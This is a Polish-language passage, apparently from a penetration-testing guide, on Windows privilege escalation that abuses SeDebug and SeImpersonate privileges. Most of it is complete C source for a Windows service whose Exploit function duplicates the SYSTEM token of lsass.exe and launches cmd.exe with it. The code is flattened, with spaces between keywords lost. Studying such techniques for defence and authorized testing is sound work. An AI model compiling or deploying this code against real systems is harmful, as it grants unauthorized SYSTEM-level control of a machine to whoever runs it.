Następujący kod wykorzystuje uprawnienia SeDebug i SeImpersonate do skopiowania tokena z procesu działającego jako SYSTEM i z wszystkimi uprawnieniami tokena.
W tym przypadku kod ten można skompilować i użyć jako binarny plik usługi Windows, aby sprawdzić, czy działa.
Jednak główna część kodu, w której następuje podniesienie uprawnień, znajduje się wewnątrz funkcji Exploit.
Wewnątrz tej funkcji można zobaczyć, że proces _lsass.exe_** jest wyszukiwany**, następnie jego token jest kopiowany, a na koniec ten token jest używany do uruchomienia nowego cmd.exe z wszystkimi uprawnieniami skopiowanego tokena.
Inne procesy działające jako SYSTEM z wszystkimi lub większością uprawnień tokena to: services.exe, svhost.exe (jeden z pierwszych), wininit.exe, csrss.exe... (pamiętaj, że nie będziesz w stanie skopiować tokena z chronionego procesu). Ponadto możesz użyć narzędzia Process Hacker działającego jako administrator, aby zobaczyć tokeny procesu.
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("TokenDanceSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//This function will find the pid of a process by nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {HANDLE hSystemToken, hSystemProcess;HANDLE dupSystemToken =NULL;HANDLE hProcess, hThread;STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;ZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));// open high privileged processif ( pid =FindTarget("lsass.exe") )hSystemProcess =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract high privileged tokenif (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS,&hSystemToken)) {CloseHandle(hSystemProcess);return-1;}// make a copy of a tokenDuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenPrimary,&dupSystemToken);// and spawn a new process with higher privsCreateProcessAsUserA(dupSystemToken,"C:\\windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}